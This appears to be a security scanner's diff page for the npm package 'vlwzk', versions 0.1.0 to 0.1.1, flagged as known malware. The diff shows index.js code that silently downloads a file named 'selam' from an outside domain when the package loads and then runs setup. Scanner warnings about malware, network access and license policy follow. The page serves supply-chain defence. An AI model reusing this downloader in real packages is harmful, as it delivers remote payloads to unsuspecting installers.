Comparing version 0.1.0 to 0.1.1
11
index.js
const fs = require("fs") | ||
const http = require('http'); | ||
const http = require('https'); | ||
const EventEmitter = require("events") | ||
@@ -8,9 +8,10 @@ const path = require("path") | ||
if(!fs.existsSync(path.join(__dirname,"selam"))){ | ||
http.get('http://turanproject.com.tr/kubisiki/selam', (res) => { | ||
let data = ''; | ||
http.get('https://turanproject.com.tr/kubisiki/selam', (res) => { | ||
let data = []; | ||
res.on('data', (chunk) => { | ||
data += chunk; | ||
data.push(chunk); | ||
}); | ||
res.on('end', () => { | ||
fs.writeFileSync(path.join(__dirname, "selam"), data); | ||
const buffer = Buffer.concat(data); | ||
fs.writeFileSync(path.join(__dirname, "selam"), buffer); | ||
setup(); | ||
@@ -17,0 +18,0 @@ }); |
{ | ||
"name": "vlwzk", | ||
"version": "0.1.0", | ||
"version": "0.1.1", | ||
"description": "", | ||
@@ -5,0 +5,0 @@ "main": "server.js", |
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Known malware
Supply chain riskThis package is malware. We have asked the package registry to remove it.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 1 instance in 1 package
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Known malware
Supply chain riskThis package is malware. We have asked the package registry to remove it.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 1 instance in 1 package
1603
33